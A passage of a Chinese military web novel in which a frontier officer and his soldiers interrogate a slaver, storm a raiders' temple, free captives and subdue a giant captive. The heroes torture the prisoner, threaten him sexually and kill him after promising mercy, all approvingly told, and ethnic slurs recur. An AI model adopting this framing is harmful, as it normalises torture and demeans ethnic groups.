“三…三个图鲁木部的…是三个剃头扎辫子的硬茬…一个管事…虎爷守着…还有三十多个兄弟…数十头羊…铁笼…后殿墙角…八个硬手看守…”
刀锋逼压下,他语无伦次地倒豆子般说出了庙里的情况。
“‘虎爷’啥样?”
“独…独眼…左眼瞎…刀疤斜劈脸…腰挂镶骨头弯刀…”
“女真狗的位置?
”“前殿…破桌子后火堆…喝酒…”
“今天是不是抓了个男孩?”
“没错,说是南河堡的,虎爷大骂不该招惹边堡……”
秦猛确认了,低喝:“石头。”
“在!”巨石后身影窜出,提稳马灯。
秦猛掐住俘虏后颈,拖死狗般拽起。
“回去”两人原路返回林中。张富贵立刻接手俘虏,拖入深处。拳脚闷响与绝望哭嚎在黑暗中响起,众人开始对俘虏进行进一步的审问……
第27章 诱敌巧突袭
“那破庙门口,有哨卡?”
秦猛的声音压得极低,像磨过砂石的铁刃。他捏着断腕者脖颈的手指微微收紧,对方喉结剧烈滚动,疼得额头青筋暴起,冷汗顺着鬓角往下淌。
“就…就一个…在…在庙门前面……”断腕者声音抖得像风中残烛,眼角余光瞥见张富贵等军汉狞笑、凶狠的目光,后背瞬间沁出冷汗。
他哪见过这般审讯?先前秦猛的盘问不过是小儿科,此刻,后庭不保的阴影正死死笼罩着他。
——这群大字不识几个的糙汉子拿着木棍怼。还有个豆丁大的小家伙贼兮兮地递来尖锐石头。
在这种高危震慑之下,没有硬汉!
约莫一刻钟的审讯,秦猛等人终于拼凑出完整的情报:
深夜时分,河对岸的女真骑兵将借着夜色越境,与破庙中的捕奴团汇合,展开肉羊交易。
这些畜生不仅贩卖同胞,更充当女真探子,提供附近哪些村房防御力弱等,简直罪该万死。
简单商议过后,刘大牛带着刘瘸子和石头借着夜色掩护返回军堡,务必让全堡做好迎敌准备。
而秦猛则率剩余人马,趁着月黑风高展开营救行动。
“你们这些败类,贩卖同胞是死罪。”秦猛拇指碾过对方颈动脉,感受着那微弱却急促的搏动。
“乖乖配合,将功补过还能立功保命,本官保证不杀你。你还想得救与逃脱,是痴人说梦。
说实话,不然老子把你送进边军大牢,让你尝尝千刀万剐的滋味。那里关押的都是疯子,可不在乎你是男是女,在无尽折磨里活活疼死。”
死亡的寒意顺着脊椎爬遍全身,断腕者瞬间破防,连滚带爬地改口:“大人饶命。虎爷特意加派了人手,有两个哨卡,一明一暗盯着外面…”
秦猛盯着破庙方向闪烁的火光,捏着断腕者喉咙的手像拎着只脱毛的鸡:“继续,庙里有火,而且老子闻到了一股肉香味,不说就死。”
哐啷,张富贵等人拽出环首直刀。
一个叫庞仁的汉子更是拎着木棍来到俘虏的身后,怪笑。
断腕者疼得眼前发黑,拼命夹紧菊花,在双重威胁下哪还顾得上什么同伙,小鸡啄米似的点头求饶:“小的全说。庙里燃起篝火,烫了酒,烤了羊,虎爷说要招待招待女真贵…鞑子。”
“现在,给我演戏。”秦猛松开手,让对方有喘息之机,转头又看向张富贵等人,调教道。
“记住,无论是对付这种杂碎,还是以后与敌人交战。摸清情况,知己知彼,再用任何手段削减敌人实力,突袭胜算更大,损失更小。”
“是!”众军卒齐声应道,眼神里燃起兴奋的战意。
秦猛押着俘虏缓缓向前,柴刀贴着对方耳朵划过,冰冷的刀锋让断腕者双股战战h牙齿打颤。
“快喊帮忙,就说抓到肥羊了,这趟大赚。尤其要提碰到细皮嫩肉的女人,声音给我装得像点!敢耍花样,老子直接让你断子绝孙。”
断腕者魂飞魄散,慌忙夹紧双腿,用尽平生力气扯着嗓子嘶吼,语气里透着拙劣却急切的得意。
“哈哈哈……快给我走。兄弟们,这晚上没有白守。买卖成了,抓到几个好货色,快来帮忙啊!大肥羊,还有个水灵娘们,麻溜的……”
秦猛抬脚踹了他屁股一下,自己则压着嗓子,模仿出女人惊恐哭喊的颤音。那声音在寒风里飘得忽远忽近,带着撕心裂肺的绝望:
“啊…救命…呜呜…放过我。”
“大爷饶命啊…啊,好冷…别过来…别撕我衣裳…”
张富贵等人看得瞠目结舌,呆呆地看着这一幕,谁也没想到自家管队官竟能学出这般逼真的女声,
连断腕者都惊得忘了出声,如同看到鬼一般瞪着秦猛。
土庙内。
“咦?听着像是老六那边?”
庙门后放哨的汉子猛地直起身,短棍在手心敲得邦邦响:“这是抓了几只大活羊?还有个娘们?”
“嘿嘿…去看看。”草垛里的暗哨窸窣爬起,声音里带着警惕:“小心点,别是点子扎手。”
“来了来了,别鬼叫了!”两个汉子提着短棍骂骂咧咧地循声走来,刚转过庙墙拐角就愣住了。
“老六?黑皮?人呢?”
他俩话音未落。
一道黑影如风影里窜出的毒蛇,比声音还快。
是秦猛箭步冲来,右手柴刀寒光一闪,干脆利落地抹过当先那汉子的脖子,伤口深可见骨。
对方脖子猛地歪向一边,热血哗啦一下喷了满地,在月光下泛着诡异的红。
“啊……”后面的人刚张嘴想叫,秦猛眼疾手快,沙包大的拳头已带着风声砸中他的喉结。
“咔嚓”一声脆响,喉骨碎裂的声音在寂静夜里格外清晰。
汉子的叫声卡在喉咙里,只剩嗬嗬的漏气声,双腿一软就倒了下去。
秦猛上前一步,膝盖顶住他的胸口,双手抓住脑袋猛地一拧,颈骨断裂的闷响彻底终结了他的挣扎。
几乎眨眼之间,两人就被击杀。
“好快!”张富贵等军卒准备扑过来,却见战斗结束。一个个满脸震惊,或敬佩地看着秦猛。
自家管队官出手太快了,且致命。
断腕者趴在地上,趁着秦猛动手的空档连滚带爬想逃,刚直起身子,却被张富贵发现。“找死!”
张富贵一脚将他踹翻在地,铁靴死死踩住他的后背。
“你这家伙还想着逃跑?信不信扒了你的皮!”
“原来你叫做老六啊!”秦猛走过来,用脚尖踢了踢俘虏的脸,疼得对方嗷嗷直叫,他却笑出了声,“真有做老六的潜质,这本事不错。”
“呜呜……大侠,军爷,我错了,我已经带路了!”老六涕泪横流,声音哽咽得像吞了沙子。
“就把我当屁放了吧!我再也不敢了!”
此刻,老六快要崩溃了,心中把白天抓军堡男孩的伙伴骂了千遍万遍。就是因为抓了不该抓的人,才惊动边边陲戍堡惹来这群煞星。
他仿佛已经看到管事虎爷发怒,脸上刀疤蠕动的样子,可眼下的处境比面对虎爷要凶险百倍。
“秦某说话算话。”秦猛蹲下身,柴刀拍了拍他的脸,语气“语重心长”,眼神却冷得像冰。
“只要你配合好,不仅放你走,还送你钱财做买卖。做点小本生意,不比这吊脑袋的勾当强?”
只是那染血的柴刀离老六的眼睛不过寸许,任谁都看得出这“和善”背后的杀意。张富贵等军汉心领神会,自家管队官不会放过这种败类。
“走你。”秦猛半拉半拽着老六,往破庙正门走去:“叫开门,再引两个出来,就等着分钱吧。”
老六被刀刃顶在后腰,只能扯着嗓子嘶吼,声音抖得发颤:“他娘的,冻死老子了。买卖成了,快开门……”
“开门开门……”秦猛附和着,用脚踹了一下门。
“老六?来了……”庙内传来脚步声,门栓“嘎吱”转动,接着庙门开了条缝,两人出来接应。
秦猛猛地发力,将老六像抛麻袋般朝庙门推去。
“噗、噗!”两道刀光如黑电划破夜色,张富贵与另一名军汉从阴影闪出,一左一右精准抹过两人咽喉。
鲜血瞬间从指缝喷涌,两人瞪圆的眼里还残留着错愕,嘴巴蠕动却发不出声,身体软软瘫倒。被张富贵和军汉托住,迅速拖入暗处。
“接着喊。”秦猛揪过老六,刀刃贴紧他脖颈。
“他娘的,快来人搭把手啊!这次肥羊多着呢!”
“来了……”更深处传来回应,脚步声由远及近。
“老六、黑皮,就你们这队最晚,逮了多少肉羊?”调侃声中,五条持刀汉子走出庙门。
然而,迎接他们的不是肥羊,而是老六引来的利刃。
——潜伏的军汉们抡刀扑上,刀锋起落间已将几人砍翻。
“啊……”半声惨叫刚起,就被秦猛的怒喝盖过:“他娘的,磨磨蹭蹭作甚?给老子滚进去。”
第二批人在骂声中被斩杀,庙内的虎爷等人毫无察觉。老六看得泪如雨下,秦猛这随机应变,这手法娴熟得像个老手,让他遍体生寒。
他很想问一句:“哥,咱是不是同行?”
第28章 贼巢喋血夜
“那个老六,继续……”
张富贵、庞仁等军汉看着七具尸体悄无声息地倒在阴影里,眼底都燃着兴奋的光,压低声音催促着。
这种战术好,不费吹灰之力,便解决掉两批敌人,他们只觉得浑身热血沸腾,愈发渴望起来。
“糊涂!”秦猛猛地回头,冷喝一声如冰水浇头。
他手上同时发力扼住老六的脖子,对方刚要扯开嗓子喊话,瞬间被掐得喉咙里只剩“嗬嗬”的漏气声,脸色瞬间涨得通红像块猪肝。
“兵法里说‘凡事不过三’,人家又不是傻子。”秦猛眼神锐利如刀,扫过满脸热烫的军汉们。
“换作是你们,接连看到队友出去接应却没动静,会不起疑心?再用这招就是自投罗网。”
张富贵等人顿时哑火,一个个垂着头不敢吭声,方才的兴奋劲儿全被浇灭了。
庞仁挠了挠头,小声问道:“大人,那…那该怎么办?”
“出其不意,攻其不备。这个时候,时机刚刚好,冲进去杀他个措手不及。”秦猛话音未落,右手拔出横刀,已经推搡着老六往庙里冲。
他手腕一松,同时低声警告:“敢乱喊就拧断你的脖子!”
老六吓得魂飞魄散,只能被他半推半拽地往前挪。秦猛回头瞪向众人,声音里带着狠劲:“我先上,你们紧跟着。庙里撑死三十人,你们二十多个带甲汉子要是拿不下,就别怪老子无情,都卷铺盖滚蛋,去种田挑大粪。”
“哈哈哈,今晚的肉羊可真肥!”秦猛突然扯开嗓子,用粗嘎豪放的嗓门喊着,一脚踹开半掩的破门,如同一尊杀神推着老六猛地撞入庙。
庙门内的狭窄前庭里,两处篝火噼啪跳动,七八个汉子正围着篝火大嚼羊肉、狂灌劣酒。
见陌生人撞入,他们瞬间惊跳如炸毛的野狗,边大声咒骂,朝手忙脚乱去摸身侧的刀棍。
“放肆,老六,他们是谁?”
“就是现在!”秦猛一脚将遮挡的老六踹向最近的持刀者,自己一马当先,如旋风般扑向左侧两人。
横刀在狭窄空间里暴起寒光,没有花哨招式,只有最直接的劈、砍、刺、撩。
刀光闪过,第一个汉子的手腕被齐腕斩断,惨叫未落已被秦猛肘击撞碎鼻梁,软倒在地。
第二个汉子举棍格挡,秦猛手腕翻转,柴刀却从对方的腋下切入,顺势旋身抽出,鲜血混合内脏碎块喷溅满地,在火光映照下泛着猩红。
“杀,杀光这些狗娘养的畜生!”
张富贵率领铁甲军汉如猛虎扑食,三五成阵结成战阵——刀盾手在前硬抗,长刀手在后补刀,铁甲铿锵作响,如钢铁洪流般碾压而上。
“杀!”秦猛哈哈狂笑,借着火堆掩护侧身滑步,躲开右侧劈来的短刀,反手一刀背砍中对方膝盖。
“咔嚓”骨裂声响起,汉子跪地的瞬间,秦猛刀刃已抹过他的脖颈。
不到几个呼吸,又有两个打手倒在血泊里。剩下的几个也被张富贵等着一拥而上,乱刀剁翻。
“混账,怎么回事?”
“虎爷,是敌袭…,快,抄家伙!”
正殿的动静骤然响起,十多个打手从偏厅里冲出来,手里握着刀棍嗷嗷怪叫。张富贵带人迎面撞上,盾牌与人体相撞发出沉闷的巨响。
刀光棍影瞬间交织成一片。一个打手刚挥棍砸中盾牌,就被盾牌后的军汉一刀刺穿小腹。
另一个想从侧面偷袭,却被斜刺里闪出的军汉砍中大腿,惨叫着摔倒在地,接着,一条长枪从盾牌缝隙中透出,直接扎穿他的胸膛。
“迅速推进,杀!”张富贵和庞仁一人率领十人队列阵,保持阵形,紧跟着秦猛向正殿冲杀。
这些军汉经过这段时间的苦练,配合初步有了默契。而眼前这场冲杀,就是最好的实战。
前排盾撞敌阵,后排刀枪补杀,配合默契如臂使指。秦猛更是如箭头般撕开防线,对付这些乌合之众如砍瓜切菜,转瞬便杀进正殿。
这里同样有篝火,七八个人,打手们满脸恐慌。
三个穿着皮袍、头顶剃光只留两侧小辫的女真人刚抓起弯刀,就被铁甲军队冲进来吓懵了。
“该死,是大周边军。”最年长的女真人气急败坏。
“啊!去死!”为首的独眼“虎爷”反应最快,他脸上带着一道从眉骨到下巴的刀疤,此刻狰狞扭曲,厉吼着挥刀冲来,扑向最前面的秦猛。
但秦猛更快!
他砍翻挡路的打手同时,猛地蹬地,整个人化作残影撞来,一抹刀光再起,如死神之吻!
“铛!”虎爷的弯刀被横刀带着的巨力荡开,火星四溅中,他双手虎口瞬间撕裂,鲜血直流。
“死!”秦猛顺势贴身,左手如铁钩扣住他持刀的手腕,右膝带着风雷之声,顶向其肋下。
“咔嚓!”数根肋骨断裂的脆响伴随着虎爷撕心裂肺的惨叫,他整个人像破麻袋般弓起身子。
一个女真人刚举刀,秦猛反手甩出腰间柴刀,这把舍不得被他放弃的厚重柴刀,如毒蛇吐信。
“噗哧”一声精准切入他的脖颈,鲜血喷了火堆一脸,火苗“腾”地窜高半尺,将周围染得一片通红。
左侧一个女真人怪叫着,挥刀砍来,秦猛已从小腿拔出牛耳尖刀,从刁钻角度斜撩而上。
“嗤啦!”弯刀落地,半条手臂带着血雨飞起!女真人捂着断臂惨嚎翻滚,秦猛上前一步,刀尖刺入他心口狠狠搅动,了结了他的痛苦。
最后一个女真人彻底吓破了胆,转身想翻窗逃跑。
秦猛如同背后长眼,反手掷出横刀。
“呜——噗!”直刀带着呼啸钉入女真鞑子后心,巨大的冲击力将他钉在破桌上,四肢抽搐几下便不动了。
太凶、太快、太狠!
张富贵,庞仁等人不是第一次看到秦猛动手,可近距离直观这种场面,依旧是心头震撼。
这就是自家管队的实力?
杀人不费吹灰之力。什么被吹上天的女真勇士,不堪一击。
“杀!”这时,后殿杀声一片,八个魁梧高大的汉子冲来,他们身穿旧皮甲,手持刀枪,气势汹汹,见到虎爷在地上惨叫,气势瞬间一滞。
“干死他们!”然而,众军汉回过神来。张富贵扯着破锣般的嗓子大吼,二十多人涌杀过去。
二十多个正规边军,身披铁甲的壮汉,如同一道钢铁洪流碾过,对上八个衣甲不齐的打手。
胜负,从一开始就没了任何悬念。
几乎是双方刚一接触,铁甲军卒盾牌率先迎上。打手们要么刚举起武器就被撞得倒飞出去,要么连对方的脸都没看清,就被砍翻在地。
没有像样的抵抗,更没有僵持的余地,不过瞬息之间,原本还算整齐的队形便彻底崩散。
“啊——!”
“救命!”惨叫声像被踩破的水泡般接连炸开。
很快,捕奴队硬手就被冲散。
庞仁带着七八个军汉留在正殿,张富贵率队追杀。
死寂!
破庙里只剩火焰燃烧的噼啪声,血腥味浓得呛人,与火堆的烟火混在一起,形成一种令人作呕的气息。
秦猛连番爆发有些脱力,额头渗出细密的汗珠。捡起那把后背柴刀,看了眼横刀上的缺口。
这可是帅司送来任命文书时,给军官的配刀。
他走到只剩一口气的虎爷面前,捡起对方掉落的腰刀。这把刀入手沉重,雪亮刀身有着锻打云纹,寒光闪闪,比横刀锋利,显然是好刀。
“你敢杀我?我大哥不会放过你……”虎爷见秦猛持刀走来,边蹬腿向后爬,边还想放狠话。
只是话还没说完,就被秦猛一刀狠抽中脑袋,砰的后脑砸在地面上,双眼翻白,晕了过去。
“快,打扫战场,再抓几个活口,分开拷问情报。”秦猛大声下令,庞仁等军汉应声行动。
秦猛用虎爷的腰带把他手脚捆绑,再堵住嘴。顺手收走女真人的弯刀、腰刀和行囊里的银锭。
庞仁带队迅速打到战场,揪住没死的家伙审讯。一番搜刮下来,竟收获了五百多两银子。
一个女真人皮囊却有三百两金珠,千两银子。多半是从虎爷等人手头上购买奴隶所需。看来这群杂碎干了不少这种伤天害理的勾当。
秦猛还从虎爷怀里摸出两张面额百两的银票。腰间,一块精美的玉佩,玉质温润,价值不菲。显然不是普通人能拥有,这虎爷有点来头。以及一把钥匙,也不知道有什么作用。
“喏,老六,这些是你的。”秦猛将几十两银子丢在老六面前,眼神冰冷如霜:“拿着做点小本买卖。以后再让老子碰到你做这勾当,死路一条。”
“谢大爷不杀之恩!”老六哆嗦着磕头,用破衣服裹着银子,连滚带爬地往庙外跑,头都不敢回。
然而,他刚跑出几步,就被一条伸来的长腿绊倒在地。
“管队官说不杀你,就不杀你。可俺庞爷可没说!”庞仁抹了一把脸上的鲜血,狰狞地扑上前。
“贩卖同胞的败类,留你何用?”
“他要杀你,我可管不着。”秦猛露出无奈的笑。
老六这才醒悟过来,秦猛根本没打算放过他。他脸上瞬间露出狰狞之色,指着秦猛骂道:“无耻,你言而无信,说话如放屁,不得好……”
话还没说完,庞仁的刀已劈落,彻底断绝了他的声音。
第29章 虎穴营救
“呸!”
秦猛从未想过饶恕老六,默许庞仁行凶,对着死不瞑目的家伙啐了一口:“为了活命降了鞑子,老子捏着鼻子也就忍了,放了无妨。
可你们这群狗东西,把自己同胞当货物卖掉,专祸害自己人,干这生儿子没屁眼的勾当。你们这种杂碎,能改吗?改不了,只有去死。”
他眼中寒光凛冽,像塞外的风刀子。
没亲手结果这家伙,已是说话算话,是最后的仁慈。
这时,殿门“砰”地被撞开。负责追剿残余的张富贵闯了进来,浑身浴血,肩上挂着半截肠子。
“管队官!找到了!”他喘着粗气:
“找到了,后殿,二十几辆囚车,塞了几十号乡亲,男女老少都……有大宝,活蹦乱跳的!”
说着要他咧嘴笑了,可那满脸横肉,混着血污,样子愈发狰狞,活脱脱像尊地狱里的煞神。
秦猛心头一松,手腕一抖,“锵”地将腰间横刀还鞘,提起缴获的弯刀大步流星就往后院去。
“庞队长,把这碍眼的玩意儿拖走,地上半点血星子也不准留。”
“是……啊?”庞仁下意识挺胸应声,后半句却让他眼珠子差点瞪出来。瞅着那遍地狼藉、血肉模糊,鲜血横流,一张圆脸皱成了苦瓜。
“刘大头,杵着挺尸呢?赶紧带人收拾了。”这位庞队长反应极快,一脚踢向发呆的壮汉。
刘大头一个激灵,眼珠子转得飞快,立刻甩锅给那群前不久还是流民的新丁:“你们新来的,队长发话,耳朵聋了?动手,收拾干净喽!”
“队长您下手忒快了。”机灵鬼唐毛毛戳着老六圆睁的眼球:“该让他刷干净地再咽气嘛!”
“没错,就是…”几个年轻军汉互相挤眉弄眼。
“他娘的,废什么话?”庞仁瞪眼喝骂。
“手脚麻利点,管队爷回来瞅着不爽,今晚大家伙都别想消停!”
一群人骂骂咧咧,手忙脚乱地开始清理那血腥的烂摊子……
……
秦猛大步闯入后殿,篝火劈啪作响,勉强驱散着浓重的黑暗与骚臭味。
左边角落是临时牛棚,草料堆得半满,栓着三十多匹驮马,十多匹四肢粗壮的草原好马。
殿中空地更扎眼——二十多辆木头笼车挤挤挨挨。里面蜷缩着七八十个衣衫破烂、面黄肌瘦的身影。
其中年轻男女最多,还有七八个,十来岁吓得直哆嗦的孩子,却不见一个上了年纪的老人。
——老人干不了重活还活不长,鞑子哪会要这种赔钱货?
笼子里的人们正扒着木栅栏,在跟军汉哭诉,说着是哪里人。当看到拎着滴血弯刀的秦猛进来,吓得呼啦一下蜷缩后退,大气不敢喘。
“别怕,乡亲们。”秦猛放缓语气,声音尽量显得温和可亲:“我们是小南河堡的边军,本官是军堡管队官,杀了鞑子,来救你们的。”
“猛子哥,我就知道你们会来!”一个身影猛地从刚打开的笼子里蹿出来,竟是王大宝。
这小子一手还抓着块硬邦邦的干粮饼,腮帮子鼓囊囊地嚼着,虎头虎脑的脸上却顶着青一块紫一块的肿块,鼻梁还结着暗红的血痂。
“哼!”秦猛脸色骤沉,板得像块铁板。
“军令第三条是什么?老子是不是下过死命令——堡内任何人,不许单独外出,要报备。你小子当耳旁风?”
他越说越气,手指头几乎戳到大宝脑门上:“这回是你小子祖宗坟头冒青烟,再晚几个时辰。
你就被卖过河去草原图什么狗屁部落当牛做马。你娘在家哭得昏天暗地,有多担心你知道吗?”
“呜…猛子哥,我错了…”王大宝被骂得眼泪鼻涕糊了一脸,用手臂抹着眼泪,小声保证道:“富贵叔…之前就训过我了,再也不敢了…”
“靠!”秦猛眼角抽搐,猛地扭头瞪向旁边正得意的张富贵,“凭什么这混球比老子大一辈?”
教训完惹祸小子,秦猛转向惊恐的囚众们,提高嗓门:“狗鞑子和捕奴队,都让老子及手下兄弟剁了,你们,安全了,可以回家去。”
一片死寂。
片刻后,压抑到极致的哭声猛地爆发出来!那些茫然、绝望的眼睛里,终于燃起劫后余生的火星。
“军…军爷…真…真是来救我们的?”一个年轻后生嘴唇哆嗦着问,声音抖得像寒风里的树叶。想到自己老母亲在家,泪水止不住往下流。
许多人已经是泣不成声了,他们多是世代生活在边界,多少知道捕奴团队的恶名,知道被卖到草原就再也回不来,无法见到以前的亲人。
“千真万确。”秦猛重重点头:“大伙不要担心,这就放你们出来。但——”
他话锋一转,眼中锐光一闪:“据确切消息,鞑子接应随时可能摸来,现在还不能走。
想活命,想报仇,就得跟老子一条心。布下天罗地网,等他们送上门来,咱们一起杀鞑子。”
“杀鞑子,报仇!”囚车里的人群绝望之下有了希望,爆发出压抑的嘶吼,眼中燃起仇恨的火焰。
“富贵,找点吃的喝的,赶紧给他们填填肚子。”秦猛迅速下令,“再安排人手警戒高处。先把妇人和孩子转移走看紧,立刻准备,狗鞑子的马蹄子,怕是已经离这破庙不远了。”
“是。”
营救只是开始。所有人都清楚,即将到来的女真部落的接应骑兵,才是今夜真正的生死较量。
“咔嚓、咔嚓!”……
刀劈斧砍,铁链应声而断。
被困的男女和孩子被一个个放出。
军汉们找来些破皮毛给女人们御寒,武器发给青壮,又将篝火上烤着的羊肉、干粮分发下去。
正殿,庞仁带着十来个军卒正麻利地清理战场,断刃、箭矢被归拢到角落,尚有温度的尸体被草席裹住,抬向殿外坡下藏好,准备请功。
“管队爷,这血腥味太重了。”庞仁用袖子抹了把额头的汗,向秦猛汇报:“就算把尸体都清走,这股子味道,一时半会儿也散不去……”
秦猛皱着眉,靴底碾过地上干涸的血迹,伸手在鼻尖扇了扇,沉声道:“这是个问题,再点几堆火,再杀两头羊。有些血迹也没问题……”
话音顿住,他的目光扫过墙角几具穿着破旧皮甲的打手尸体,突然灵光乍现,有了好主意:“庞仁,把你们直刀借给这几位兄弟用用。”
“啊?”庞仁顺势看去,呆愣在当场。
“我有个办法……”秦猛酝酿片刻,说出自己打算。
庞仁听得是眼睛大亮,连连叫好。
就在他转身要招呼弟兄们动手时,后殿突然传来“嗷嗷”两声像是猛兽,却有点虚弱的吼声。
接着是一声女人惊慌的尖叫“我滴娘”,阵阵呼喝声,骂声,嘈杂声瞬间划破了正殿的沉闷。
很快,一个军汉从后殿冲出来,脸色苍白:“管队官,后、后面有情况!您快、快去看看!”
秦猛脸色一沉,方才舒展的眉头又拧了起来。他握紧蛮刀,沉声对庞仁道:“你做你的,按咱们刚说的计划继续处理,我去去就回。”
说完,他不再犹豫,转身大步朝着后殿的方向走去,靴底踏在石板上,发出沉稳而急促的声响。
“不要慌!”秦猛看着手持枪棒,满脸警惕的男女,以及躲在马车后的孩子们,声音低沉有力。
他一现身,瞬间就让众人松了口气。
“管队官,来…来这儿!”张富贵干涩的声音从黑夜中传来。秦猛爆喝一声,循声大步冲去。
第30章 山蛮巨汉乌维
火光跳动处,显出一个孤零零的巨笼!手臂粗的精铁栅栏,缠绕着比成人手臂还粗的多重锁链。
一把沉重的黄铜大锁死死封住笼门。
周边散落许多柴草,张富贵和两个军汉目光发直。
——笼子被一个巨大得惊人的身影塞得满满当当。
此人身高至少两米开外,蜷缩的姿态却掩饰不住粗壮如巨熊的本质,破烂的兽皮麻衣下,虬结的肌肉如岩石,贲张着足以撕裂虎豹的爆炸性力量。
这巨汉正扒拉着铁栏杆,与张富贵等人对视。
他浓眉大眼,眼窝深陷,面部轮廓带着原始的野性。黑发黑瞳,这体型,绝非寻常汉人百姓。
“这又是谁?”秦猛赶过来,好奇地问。他能从这大块头眼中感觉到被困在笼中的痛苦与愤怒。
“是山蛮!”紧随而至的张富贵眯眼看了一会儿,“我听爹说过,往东百多里的横断大山里,有蛮人部落,悍勇得很,估摸就是这路数。”
“废话!”秦猛翻个白眼。
他眼底却闪着发现瑰宝的亮光:“这身板雄壮如山,腰阔十围,站那就是头人熊,能不猛?”
张富贵言简意赅的说明后殿骚乱的原因:“是个妇人肚子疼,这家伙突然怪叫,吓得别人连滚带爬。我就带人找过来,发现这铁笼子。”
“呃…方便的到位,这大块头也是不想被囚禁。秦猛无语了,饶有兴致地打量着这非人的体格。
当他的目光与对方相触时,那巨汉只是微微一抬头,兽瞳中毫无感激或恐惧,只有一往无前的漠视,一种脱困后,杀光仇人的决绝。
秦猛心头一震,这种眼神他也有过。
牢笼中的大块头,犹如蛮牛,是天生的战场杀神。
他摸出缴获的那把钥匙,走上前,清脆地晃了晃,手指点着粗壮的锁链。声音平静如古井,没有一丝怜悯,只有找到同类的确认感。
“想出来吗?出来,拿起刀,跟我去杀你的仇人。”
巨汉的目光骤然剧变,他敏锐地从眼前这矮个子身上,嗅到了同类甚至更纯粹、更危险的气息。
一股比部落最强大的头人还要冷酷、决绝的杀意。
巨汉漠然的兽瞳深处终于点燃了近乎疯狂的认同烈焰。
“吼——仇!”
巨汉喉咙里炸出一声闷雷般的低咆,一个生硬但蕴含无边怒火的“仇”字挤出牙缝。一只蒲扇般、布满厚厚老茧的巨大手掌,猛然伸出笼隙。
秦猛嘴角扯起一丝冰冷的弧度。
下一秒,他竟随手将钥匙扔到一边。
在巨汉错愕,疑惑时,秦猛说了声“用不着”。他猛地探手抓住一条锁链!双臂筋肉虬结,骤然发力。
链条哐啷瞬间绷成笔直一线。
“嘣——咔嚓!”一声令人牙酸的金属哀鸣。手臂粗的精铁锁链,竟被他徒手硬生生崩断。
接着,在巨汉剧烈收缩的瞳孔和周围军汉下巴砸地的震惊中,秦猛如法炮制,狂扯锁链。
“咔嚓,嘣——咔嚓!”
一条又一条缠绕在笼上、足以拴住猛虎大象的粗重锁链,在他手中如同枯枝般接连断裂。
“大人。”张富贵咽了咽口水,拉住秦猛胳膊,忧心忡忡地说:“我听说蛮人桀骜不驯,大周至今没让他们臣服,真要放这家伙出来?”
“没事,不听话就打。”秦猛瞪着巨汉,满脸凶狠。个头大不算什么,他有信心迅速制服擒拿。
“咔嚓”最后一根链子断开,秦猛甩掉已经变形的锁头。
“哐当”一声,拉开了沉重的精铁牢门。
那巨汉钻了出来,骤然立起。伸展着蜷缩僵麻的巨大身躯,骨头节发出爆豆般的响声。
——那过丈身高,压迫感瞬间弥漫整个后殿。
就在众人感慨这汉子高大的时候,异变陡生!
巨汉眼中非但无半分感激,反倒燃起囚禁积压的狂暴怒火。那双赤红兽瞳死死盯住最近的秦猛哥,
“嗷!”一声怒吼,庞大的身躯竟如炮弹般扑出。带起腥风,鼓大的拳头闪电般打向秦猛脑袋。
杀气扑面,绝非玩笑,就是要将这个释放他的人打死。
“大人!”张富贵等人魂飞魄散。
“妈的,这畜生!”
“蛮子,果然是忘恩负义。”其余军汉怒骂着呛啷抽刀,如同炸毛的狼群就要扑上,将这凶汉乱刃分尸!
“谁都不要过来。”
秦猛的厉喝压过喧嚣,他竟不退反进。
迎着巨汉那凶悍的扑抓,秦猛眼中战意勃发。他身形一矮,侧步急闪,铁拳擦身而过。
电光火石间,秦猛双臂如铁钳绞上巨汉的粗臂关节,同时右脚精准一勾其脚踝。
“砰!”一声闷响。
巨汉那庞大身躯被秦猛借力打力,以一个狠辣的擒摔,重重砸在冰冷石地上,整个后殿都为之一震。
“嗷!”剧痛让巨汉更加暴怒,他挣扎弹起身。
“再来!”秦猛声音冰冷。
他身影一旋已绕至其身后。
这一次,他不再留手,双臂筋肉贲张,猛地锁死巨汉腰腹。
“起!”一声暴喝,秦猛竟将那铁塔般的巨躯硬生生举离地面。
“砸!”
“轰隆!”巨响比前次更甚。
巨汉如同沉重的石墩子,被狠狠掼回地面。摔得他五脏移位,喉头发甜。
未及挣扎,秦猛的重脚已带着风声跺向他护头的臂膀。
“咚!”
沉重的闷响,巨汉只觉臂骨欲裂。
紧接着,一只铁拳带着死亡的气息,悬停在他眼前。
“服,还是死?”秦猛俯视着他,声音冰冷彻骨。
死亡的阴影瞬间笼罩,剧烈的痛苦和这摧枯拉朽般的力量,彻底碾碎了巨汉的野性与骄傲。
他猛地放下手臂,巨大的脸上只剩下痛苦和顺服。
“服…服…主…不打,”巨汉艰难地挤出几个字。
看着跪在脚边、小山般屈服的身躯,秦猛嘴角咧开一丝弧度。
他伸手拍了拍那铁塔般的肩头,又轻松把他拽起:
“名字?”
“黎…魁…”巨汉张了张嘴,喉咙里发出含糊的音节。他听得懂,但汉话极其拙劣,发音不准。
“啥?李逵?”秦猛听得不太清楚,顿时直皱眉。看着这山岳般的身躯和原始野性的气质。
“算了,我先给你取个小名,以后你就叫乌维,膀大腰粗,勇猛无畏。我是,秦猛!”
他用力拍了拍自己胸口。
“乌…乌维…秦…猛。”乌维生涩地重复着,念到“秦猛”二字时,声音陡然拔高,似在确认般。
他蒲扇大的手指戳向秦猛胸口,又重重捶打自己坚如磐石的胸膛,断断续续却异常坚定地宣告:“乌…维…跟…跟着秦猛…杀仇人。”
“对头,以后跟着老子,吃穿不愁,衣食无忧。”秦猛仰望着这尊人形巨塔,心中满意至极。
张富贵等人在边上看得目瞪口呆。
“你来自哪里?”秦猛领着乌维往外走,问道,
“那里…日头升…”乌维慢慢地说着,四下张望,萝卜粗的手指坚定地指向黑暗的山脉方向。
那里是东面,果然是来自横断山脉。
交谈得知,这位山蛮青年是刚成年,走出横断深山,懵懂无知想看看外间世界,就被那‘虎爷’一伙蒙骗,用迷药和诡计擒获,锁入此笼。
虎爷本想收服他当打手,奈何乌维性情野烈如孤狼,宁死不从,才被当成值钱的苦力准备卖给鞑子。
“这将一丈多高(2.45米)的身板杵那儿,吓都吓死人了。打起架来,那不得横扫千军?”秦猛看着比姚明还高的大个子,心中暗笑。
“我…没…家伙!”乌维看着秦猛手中的弯刀,眼中爆发出野兽噬血般的渴望,他伸出巨大的空手。
“接着,这把刀送给你了。”秦猛毫不犹豫,手一扬,将那柄得自虎爷的锋利弯刀抛了过去。
乌维探手一抓,厚重坚韧的弯刀在他巨掌中竟似轻若无物的草棍!随意一挥,锐利的刀锋撕裂空气,发出尖啸。
